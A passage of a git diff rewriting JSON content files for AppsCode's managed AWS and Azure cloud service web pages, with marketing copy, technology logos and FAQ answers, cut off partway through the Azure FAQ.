"/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Simplify Your AWS Operations?", - "subtitle": "Let AppsCode's DevOps experts manage your AWS infrastructure so your team can focus on building your product.", - "buttons": [ - { - "text": "Talk to a Cloud Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode for Managed AWS?", - "items": [ - { - "icon": "fa fa-cloud", - "title": "AWS Marketplace Partner", - "description": "AppsCode is listed on the AWS Marketplace with AppsCode Cloud for EKS-based cluster management and database provisioning." - }, - { - "icon": "fa fa-users", - "title": "50+ DevOps Engineers", - "description": "Certified cloud and Kubernetes engineers with deep expertise in AWS services, infrastructure automation, and site reliability." - }, - { - "icon": "fa fa-briefcase", - "title": "Proven at Scale", - "description": "Experience managing AWS environments for Fortune 500 companies, governments, and high-growth startups across industries." - }, - { - "icon": "fa fa-clock-o", - "title": "24/7 Support Coverage", - "description": "Round-the-clock monitoring and incident response with SLA-backed resolution times across multiple time zones." - }, - { - "icon": "fa fa-money", - "title": "Cost Optimization Focus", - "description": "FinOps practices that typically reduce AWS spend by 20–40% through right-sizing, reserved capacity, and waste elimination." - }, - { - "icon": "fa fa-trophy", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and regular sponsor of KubeCon + CloudNativeCon — deeply embedded in the cloud-native ecosystem." - } - ] - }, - "faq": [ - { - "question": "What does your Managed AWS service include?", - "answer": "Our Managed AWS service covers the full lifecycle: cloud onboarding and migration, infrastructure design and provisioning, 24/7 monitoring and incident response, security hardening and compliance, cost optimization, CI/CD automation, and ongoing operational support. We become an extension of your DevOps team." - }, - { - "question": "Can you manage our existing AWS infrastructure?", - "answer": "Yes — we can take over management of your existing AWS environment. We start with an assessment to understand your current setup, identify gaps and risks, and then build a management plan tailored to your needs." - }, - { - "question": "How do you handle cloud cost optimization?", - "answer": "We implement FinOps practices including right-sizing instances, purchasing Reserved Instances and Savings Plans, eliminating unused resources, setting up cost anomaly detection, and providing monthly cost reports with actionable recommendations." - }, - { - "question": "What AWS services do you manage?", - "answer": "We manage all AWS services including EC2, EKS, ECS, Lambda, RDS, DynamoDB, S3, CloudFront, VPC, IAM, Route 53, CloudWatch, and 200+ more. Our team has deep expertise across the full AWS portfolio." - }, - { - "question": "What is your pricing model?", - "answer": "We offer flexible pricing models: fixed monthly retainers for ongoing management, time-and-materials for project-based work, and hybrid models. A detailed proposal is provided after an initial assessment." - }, - { - "question": "How quickly can you respond to incidents?", - "answer": "Our incident response times are SLA-backed: critical issues within 15 minutes, high-severity within 1 hour, and medium-severity within 4 hours. We provide 24/7 coverage across multiple time zones." - } - ] -} +{ + "hero": { + "title": "Managed AWS Cloud Services by Experts", + "subtitle": "AppsCode's DevOps team helps you onboard to AWS, manages your cloud accounts, and keeps your applications running — so you can focus on building your product.", + "cta_text": "Talk to a Cloud Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Managed AWS Cloud Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our Managed AWS Services?", + "areas": [ + { + "icon": "fa fa-cloud-upload", + "title": "Seamless AWS Onboarding & Migration" + }, + { + "icon": "fa fa-cogs", + "title": "Infrastructure Design & Deployment" + }, + { + "icon": "fa fa-clock-o", + "title": "24/7 Monitoring & Incident Response" + }, + { + "icon": "fa fa-money", + "title": "Cost Optimization & FinOps" + }, + { + "icon": "fa fa-shield", + "title": "Security Hardening & Compliance" + }, + { + "icon": "fa fa-code-fork", + "title": "CI/CD & DevOps Automation" + }, + { + "icon": "fa fa-database", + "title": "Managed Databases & Storage" + }, + { + "icon": "fa fa-lock", + "title": "IAM, Networking & Access Control" + } + ] + }, + "service_details": { + "title": "Our Managed AWS Cloud Services", + "subtitle": "AppsCode provides end-to-end AWS management — from cloud onboarding and architecture design to 24/7 operations, cost optimization, and security. Our DevOps engineers become an extension of your team.", + "sections": [ + { + "title": "AWS Onboarding & Migration", + "description": "Whether you are moving to AWS for the first time or migrating workloads between accounts and regions, our team plans and executes the entire migration with zero downtime.", + "offerings": [ + "Assess your current infrastructure and design a cloud-ready AWS architecture.", + "Migrate VMs, databases, storage, and applications to AWS with minimal disruption.", + "Set up landing zones, multi-account strategies, and AWS Organizations." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Infrastructure Management & Administration", + "description": "We manage your AWS infrastructure day-to-day — provisioning resources, configuring networking, managing IAM policies, and ensuring everything runs smoothly.", + "offerings": [ + "Manage EC2, ECS, EKS, RDS, S3, VPC, CloudFront, and 200+ AWS services.", + "Infrastructure as Code using Terraform, CloudFormation, and Crossplane.", + "Automated scaling, patching, and lifecycle management." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "24/7 Monitoring, Alerting & Incident Response", + "description": "Our engineers monitor your AWS environment around the clock. When issues arise, we detect, diagnose, and resolve them — often before your users notice.", + "offerings": [ + "Real-time monitoring with CloudWatch, Prometheus, Grafana, and Datadog.", + "Custom alerting rules with PagerDuty, OpsGenie, or Slack integrations.", + "Incident response with SLA-backed resolution times." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "Security, Compliance & Cost Optimization", + "description": "We harden your AWS environment against threats, ensure compliance with industry standards, and continuously optimize your cloud spend.", + "offerings": [ + "Security audits, CIS benchmarks, GuardDuty, Security Hub, and WAF configuration.", + "Compliance with SOC 2, HIPAA, GDPR, PCI-DSS, and ISO 27001.", + "FinOps practices — right-sizing, Reserved Instances, Savings Plans, and cost anomaly detection." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "DevOps Automation & Application Support", + "description": "AppsCode helps your development teams ship faster by building and maintaining CI/CD pipelines, managing containerized workloads, and automating routine operations.", + "offerings": [ + "CI/CD pipelines with GitHub Actions, GitLab CI, Jenkins, ArgoCD, and FluxCD.", + "Container orchestration with EKS, ECS, and Fargate.", + "Application performance monitoring, log aggregation, and tracing." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Managed AWS", + "subtitle": "Our managed AWS services empower clients across regulated industries with secure, compliant, and cost-effective cloud operations.", + "additional_text": "We serve Fortune 500 companies, fast-growing startups, and everything in between.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "SOC 2 and PCI-DSS compliant AWS infrastructure for secure financial operations." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Scalable, multi-tenant architectures with automated deployments and cost control." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "HIPAA-compliant AWS environments with encrypted storage and audit trails." + }, + { + "icon": "fa fa-shopping-cart", + "title": "E-Commerce & Retail", + "description": "High-availability architectures that handle traffic spikes during peak seasons." + }, + { + "icon": "fa fa-industry", + "title": "Manufacturing & IoT", + "description": "Edge computing, IoT data pipelines, and real-time analytics on AWS." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Globally distributed applications with low latency and rapid failover." + } + ] + }, + "tech_stack": { + "title": "Our AWS Technology Expertise", + "subtitle": "We use the full AWS ecosystem and cloud-native tools to deliver enterprise-grade managed cloud services.", + "technologies": [ + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Simplify Your AWS Operations?", + "subtitle": "Let AppsCode's DevOps experts manage your AWS infrastructure so your team can focus on building your product.", + "buttons": [ + { + "text": "Talk to a Cloud Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode for Managed AWS?", + "items": [ + { + "icon": "fa fa-cloud", + "title": "AWS Marketplace Partner", + "description": "AppsCode is listed on the AWS Marketplace with AppsCode Cloud for EKS-based cluster management and database provisioning." + }, + { + "icon": "fa fa-users", + "title": "50+ DevOps Engineers", + "description": "Certified cloud and Kubernetes engineers with deep expertise in AWS services, infrastructure automation, and site reliability." + }, + { + "icon": "fa fa-briefcase", + "title": "Proven at Scale", + "description": "Experience managing AWS environments for Fortune 500 companies, governments, and high-growth startups across industries." + }, + { + "icon": "fa fa-clock-o", + "title": "24/7 Support Coverage", + "description": "Round-the-clock monitoring and incident response with SLA-backed resolution times across multiple time zones." + }, + { + "icon": "fa fa-money", + "title": "Cost Optimization Focus", + "description": "FinOps practices that typically reduce AWS spend by 20–40% through right-sizing, reserved capacity, and waste elimination." + }, + { + "icon": "fa fa-trophy", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and regular sponsor of KubeCon + CloudNativeCon — deeply embedded in the cloud-native ecosystem." + } + ] + }, + "faq": [ + { + "question": "What does your Managed AWS service include?", + "answer": "Our Managed AWS service covers the full lifecycle: cloud onboarding and migration, infrastructure design and provisioning, 24/7 monitoring and incident response, security hardening and compliance, cost optimization, CI/CD automation, and ongoing operational support. We become an extension of your DevOps team." + }, + { + "question": "Can you manage our existing AWS infrastructure?", + "answer": "Yes — we can take over management of your existing AWS environment. We start with an assessment to understand your current setup, identify gaps and risks, and then build a management plan tailored to your needs." + }, + { + "question": "How do you handle cloud cost optimization?", + "answer": "We implement FinOps practices including right-sizing instances, purchasing Reserved Instances and Savings Plans, eliminating unused resources, setting up cost anomaly detection, and providing monthly cost reports with actionable recommendations." + }, + { + "question": "What AWS services do you manage?", + "answer": "We manage all AWS services including EC2, EKS, ECS, Lambda, RDS, DynamoDB, S3, CloudFront, VPC, IAM, Route 53, CloudWatch, and 200+ more. Our team has deep expertise across the full AWS portfolio." + }, + { + "question": "What is your pricing model?", + "answer": "We offer flexible pricing models: fixed monthly retainers for ongoing management, time-and-materials for project-based work, and hybrid models. A detailed proposal is provided after an initial assessment." + }, + { + "question": "How quickly can you respond to incidents?", + "answer": "Our incident response times are SLA-backed: critical issues within 15 minutes, high-severity within 1 hour, and medium-severity within 4 hours. We provide 24/7 coverage across multiple time zones." + } + ] +} diff --git a/data/services/managed_cloud/managed_azure.json b/data/services/managed_cloud/managed_azure.json index 3b28220a62..a4683c5500 100644 --- a/data/services/managed_cloud/managed_azure.json +++ b/data/services/managed_cloud/managed_azure.json @@ -1,303 +1,303 @@ -{ - "hero": { - "title": "Managed Azure Cloud Services by Experts", - "subtitle": "AppsCode's DevOps team helps you onboard to Azure, manages your cloud accounts, and keeps your applications running — so you can focus on building your product.", - "cta_text": "Talk to a Cloud Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Managed Azure Cloud Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our Managed Azure Services?", - "areas": [ - { - "icon": "fa fa-cloud-upload", - "title": "Seamless Azure Onboarding & Migration" - }, - { - "icon": "fa fa-cogs", - "title": "Infrastructure Design & Deployment" - }, - { - "icon": "fa fa-clock-o", - "title": "24/7 Monitoring & Incident Response" - }, - { - "icon": "fa fa-money", - "title": "Cost Optimization & FinOps" - }, - { - "icon": "fa fa-shield", - "title": "Security Hardening & Compliance" - }, - { - "icon": "fa fa-code-fork", - "title": "CI/CD & DevOps Automation" - }, - { - "icon": "fa fa-database", - "title": "Managed Databases & Storage" - }, - { - "icon": "fa fa-lock", - "title": "Azure AD, Networking & Access Control" - } - ] - }, - "service_details": { - "title": "Our Managed Azure Cloud Services", - "subtitle": "AppsCode provides end-to-end Azure management — from cloud onboarding and architecture design to 24/7 operations, cost optimization, and security. Our DevOps engineers become an extension of your team.", - "sections": [ - { - "title": "Azure Onboarding & Migration", - "description": "Whether you are moving to Azure for the first time or migrating workloads between subscriptions and regions, our team plans and executes the entire migration with zero downtime.", - "offerings": [ - "Assess your current infrastructure and design a cloud-ready Azure architecture.", - "Migrate VMs, databases, storage, and applications to Azure with minimal disruption.", - "Set up Management Groups, subscriptions, and Azure Landing Zones." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Infrastructure Management & Administration", - "description": "We manage your Azure infrastructure day-to-day — provisioning resources, configuring networking, managing Azure AD policies, and ensuring everything runs smoothly.", - "offerings": [ - "Manage AKS, VMs, App Service, SQL Database, Cosmos DB, Storage, Virtual Network, and 200+ Azure services.", - "Infrastructure as Code using Terraform, Bicep, and ARM templates.", - "Automated scaling, patching, and lifecycle management." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "24/7 Monitoring, Alerting & Incident Response", - "description": "Our engineers monitor your Azure environment around the clock. When issues arise, we detect, diagnose, and resolve them — often before your users notice.", - "offerings": [ - "Real-time monitoring with Azure Monitor, Log Analytics, Prometheus, and Grafana.", - "Custom alerting rules with PagerDuty, OpsGenie, or Slack integrations.", - "Incident response with SLA-backed resolution times." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "Security, Compliance & Cost Optimization", - "description": "We harden your Azure environment against threats, ensure compliance with industry standards, and continuously optimize your cloud spend.", - "offerings": [ - "Security audits, Microsoft Defender for Cloud, Azure Policy, and NSG configuration.", - "Compliance with SOC 2, HIPAA, GDPR, PCI-DSS, and ISO 27001.", - "FinOps practices — right-sizing, Reserved Instances, Azure Hybrid Benefit, and cost anomaly detection." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "DevOps Automation & Application Support", - "description": "AppsCode helps your development teams ship faster by building and maintaining CI/CD pipelines, managing containerized workloads, and automating routine operations.", - "offerings": [ - "CI/CD pipelines with Azure DevOps, GitHub Actions, ArgoCD, and FluxCD.", - "Container orchestration with AKS, Azure Container Apps, and Azure Functions.", - "Application performance monitoring, log aggregation, and tracing." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Managed Azure", - "subtitle": "Our managed Azure services empower clients across regulated industries with secure, compliant, and cost-effective cloud operations.", - "additional_text": "We serve Fortune 500 companies, fast-growing startups, and everything in between.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "SOC 2 and PCI-DSS compliant Azure infrastructure for secure financial operations." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Scalable, multi-tenant architectures with automated deployments and cost control." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "HIPAA-compliant Azure environments with encrypted storage and audit trails." - }, - { - "icon": "fa fa-shopping-cart", - "title": "E-Commerce & Retail", - "description": "High-availability architectures that handle traffic spikes during peak seasons." - }, - { - "icon": "fa fa-industry", - "title": "Manufacturing & IoT", - "description": "Edge computing, IoT data pipelines, and real-time analytics on Azure." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Globally distributed applications with low latency and rapid failover." - } - ] - }, - "tech_stack": { - "title": "Our Azure Technology Expertise", - "subtitle": "We use the full Azure ecosystem and cloud-native tools to deliver enterprise-grade managed cloud services.", - "technologies": [ - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Simplify Your Azure Operations?", - "subtitle": "Let AppsCode's DevOps experts manage your Azure infrastructure so your team can focus on building your product.", - "buttons": [ - { - "text": "Talk to a Cloud Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode for Managed Azure?", - "items": [ - { - "icon": "fa fa-cloud", - "title": "Azure Marketplace Partner", - "description": "AppsCode is listed on the Azure Marketplace with AppsCode Cloud for AKS-based cluster management and database provisioning." - }, - { - "icon": "fa fa-users", - "title": "50+ DevOps Engineers", - "description": "Certified cloud and Kubernetes engineers with deep expertise in Azure services, infrastructure automation, and site reliability." - }, - { - "icon": "fa fa-briefcase", - "title": "Proven at Scale", - "description": "Experience managing Azure environments for Fortune 500 companies, governments, and high-growth startups across industries." - }, - { - "icon": "fa fa-clock-o", - "title": "24/7 Support Coverage", - "description": "Round-the-clock monitoring and incident response with SLA-backed resolution times across multiple time zones." - }, - { - "icon": "fa fa-money", - "title": "Cost Optimization Focus", - "description": "FinOps practices that typically reduce Azure spend by 20–40% through right-sizing, reserved capacity, and waste elimination." - }, - { - "icon": "fa fa-trophy", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and regular sponsor of KubeCon + CloudNativeCon — deeply embedded in the cloud-native ecosystem." - } - ] - }, - "faq": [ - { - "question": "What does your Managed Azure service include?", - "answer": "Our Managed Azure service covers the full lifecycle: cloud onboarding and migration, infrastructure design and provisioning, 24/7 monitoring and incident response, security hardening and compliance, cost optimization, CI/CD automation, and ongoing operational support. We become an extension of your DevOps team." - }, - { - "question": "Can you manage our existing Azure infrastructure?", - "answer": "Yes — we can take over management of your existing Azure environment. We start with an assessment to understand your current setup, identify gaps and risks, and then build a management plan tailored to your needs." - }, - { - "question": "How do you handle cloud cost optimization?", - "answer": "We implement FinOps practices including right-sizing instances, purchasing Reserved Instances, leveraging Azure Hybrid Benefit, eliminating unused resources, setting up cost anomaly detection, and providing monthly cost reports with actionable recommendations." - }, - { - "question": "What Azure services do you manage?", - "answer": "We manage all Azure services including AKS, VMs, App Service, Azure Functions, SQL Database, Cosmos DB, Blob Storage, Virtual Network, Azure AD, Azure Monitor, and 200+ more. Our team has deep expertise across the full Azure portfolio." - }, - { - "question": "What is your pricing model?", - "answer": "We offer flexible pricing models: fixed monthly retainers for ongoing management, time-and-materials for project-based work, and hybrid models. A detailed proposal is provided after an initial assessment." - }, - { - "question": "How quickly can you respond to incidents?", - "answer": "Our incident response times are SLA-backed: critical issues within 15 minutes, high-severity within 1 hour, and medium-severity within 4 hours. We provide 24/7 coverage across multiple time zones." - } - ] -} +{ + "hero": { + "title": "Managed Azure Cloud Services by Experts", + "subtitle": "AppsCode's DevOps team helps you onboard to Azure, manages your cloud accounts, and keeps your applications running — so you can focus on building your product.", + "cta_text": "Talk to a Cloud Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Managed Azure Cloud Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our Managed Azure Services?", + "areas": [ + { + "icon": "fa fa-cloud-upload", + "title": "Seamless Azure Onboarding & Migration" + }, + { + "icon": "fa fa-cogs", + "title": "Infrastructure Design & Deployment" + }, + { + "icon": "fa fa-clock-o", + "title": "24/7 Monitoring & Incident Response" + }, + { + "icon": "fa fa-money", + "title": "Cost Optimization & FinOps" + }, + { + "icon": "fa fa-shield", + "title": "Security Hardening & Compliance" + }, + { + "icon": "fa fa-code-fork", + "title": "CI/CD & DevOps Automation" + }, + { + "icon": "fa fa-database", + "title": "Managed Databases & Storage" + }, + { + "icon": "fa fa-lock", + "title": "Azure AD, Networking & Access Control" + } + ] + }, + "service_details": { + "title": "Our Managed Azure Cloud Services", + "subtitle": "AppsCode provides end-to-end Azure management — from cloud onboarding and architecture design to 24/7 operations, cost optimization, and security. Our DevOps engineers become an extension of your team.", + "sections": [ + { + "title": "Azure Onboarding & Migration", + "description": "Whether you are moving to Azure for the first time or migrating workloads between subscriptions and regions, our team plans and executes the entire migration with zero downtime.", + "offerings": [ + "Assess your current infrastructure and design a cloud-ready Azure architecture.", + "Migrate VMs, databases, storage, and applications to Azure with minimal disruption.", + "Set up Management Groups, subscriptions, and Azure Landing Zones." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Infrastructure Management & Administration", + "description": "We manage your Azure infrastructure day-to-day — provisioning resources, configuring networking, managing Azure AD policies, and ensuring everything runs smoothly.", + "offerings": [ + "Manage AKS, VMs, App Service, SQL Database, Cosmos DB, Storage, Virtual Network, and 200+ Azure services.", + "Infrastructure as Code using Terraform, Bicep, and ARM templates.", + "Automated scaling, patching, and lifecycle management." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "24/7 Monitoring, Alerting & Incident Response", + "description": "Our engineers monitor your Azure environment around the clock. When issues arise, we detect, diagnose, and resolve them — often before your users notice.", + "offerings": [ + "Real-time monitoring with Azure Monitor, Log Analytics, Prometheus, and Grafana.", + "Custom alerting rules with PagerDuty, OpsGenie, or Slack integrations.", + "Incident response with SLA-backed resolution times." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "Security, Compliance & Cost Optimization", + "description": "We harden your Azure environment against threats, ensure compliance with industry standards, and continuously optimize your cloud spend.", + "offerings": [ + "Security audits, Microsoft Defender for Cloud, Azure Policy, and NSG configuration.", + "Compliance with SOC 2, HIPAA, GDPR, PCI-DSS, and ISO 27001.", + "FinOps practices — right-sizing, Reserved Instances, Azure Hybrid Benefit, and cost anomaly detection." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "DevOps Automation & Application Support", + "description": "AppsCode helps your development teams ship faster by building and maintaining CI/CD pipelines, managing containerized workloads, and automating routine operations.", + "offerings": [ + "CI/CD pipelines with Azure DevOps, GitHub Actions, ArgoCD, and FluxCD.", + "Container orchestration with AKS, Azure Container Apps, and Azure Functions.", + "Application performance monitoring, log aggregation, and tracing." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Managed Azure", + "subtitle": "Our managed Azure services empower clients across regulated industries with secure, compliant, and cost-effective cloud operations.", + "additional_text": "We serve Fortune 500 companies, fast-growing startups, and everything in between.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "SOC 2 and PCI-DSS compliant Azure infrastructure for secure financial operations." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Scalable, multi-tenant architectures with automated deployments and cost control." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "HIPAA-compliant Azure environments with encrypted storage and audit trails." + }, + { + "icon": "fa fa-shopping-cart", + "title": "E-Commerce & Retail", + "description": "High-availability architectures that handle traffic spikes during peak seasons." + }, + { + "icon": "fa fa-industry", + "title": "Manufacturing & IoT", + "description": "Edge computing, IoT data pipelines, and real-time analytics on Azure." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Globally distributed applications with low latency and rapid failover." + } + ] + }, + "tech_stack": { + "title": "Our Azure Technology Expertise", + "subtitle": "We use the full Azure ecosystem and cloud-native tools to deliver enterprise-grade managed cloud services.", + "technologies": [ + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Simplify Your Azure Operations?", + "subtitle": "Let AppsCode's DevOps experts manage your Azure infrastructure so your team can focus on building your product.", + "buttons": [ + { + "text": "Talk to a Cloud Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode for Managed Azure?", + "items": [ + { + "icon": "fa fa-cloud", + "title": "Azure Marketplace Partner", + "description": "AppsCode is listed on the Azure Marketplace with AppsCode Cloud for AKS-based cluster management and database provisioning." + }, + { + "icon": "fa fa-users", + "title": "50+ DevOps Engineers", + "description": "Certified cloud and Kubernetes engineers with deep expertise in Azure services, infrastructure automation, and site reliability." + }, + { + "icon": "fa fa-briefcase", + "title": "Proven at Scale", + "description": "Experience managing Azure environments for Fortune 500 companies, governments, and high-growth startups across industries." + }, + { + "icon": "fa fa-clock-o", + "title": "24/7 Support Coverage", + "description": "Round-the-clock monitoring and incident response with SLA-backed resolution times across multiple time zones." + }, + { + "icon": "fa fa-money", + "title": "Cost Optimization Focus", + "description": "FinOps practices that typically reduce Azure spend by 20–40% through right-sizing, reserved capacity, and waste elimination." + }, + { + "icon": "fa fa-trophy", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and regular sponsor of KubeCon + CloudNativeCon — deeply embedded in the cloud-native ecosystem." + } + ] + }, + "faq": [ + { + "question": "What does your Managed Azure service include?", + "answer": "Our Managed Azure service covers the full lifecycle: cloud onboarding and migration, infrastructure design and provisioning, 24/7 monitoring and incident response, security hardening and compliance, cost optimization, CI/CD automation, and ongoing operational support. We become an extension of your DevOps team." + }, + { + "question": "Can you manage our existing Azure infrastructure?", + "answer": "Yes — we can take over management of your existing Azure environment. We start with an assessment to understand your current setup, identify gaps and risks, and then build a management plan tailored to your needs." + }, + { + "question": "How do you handle cloud cost optimization?", + "answer": 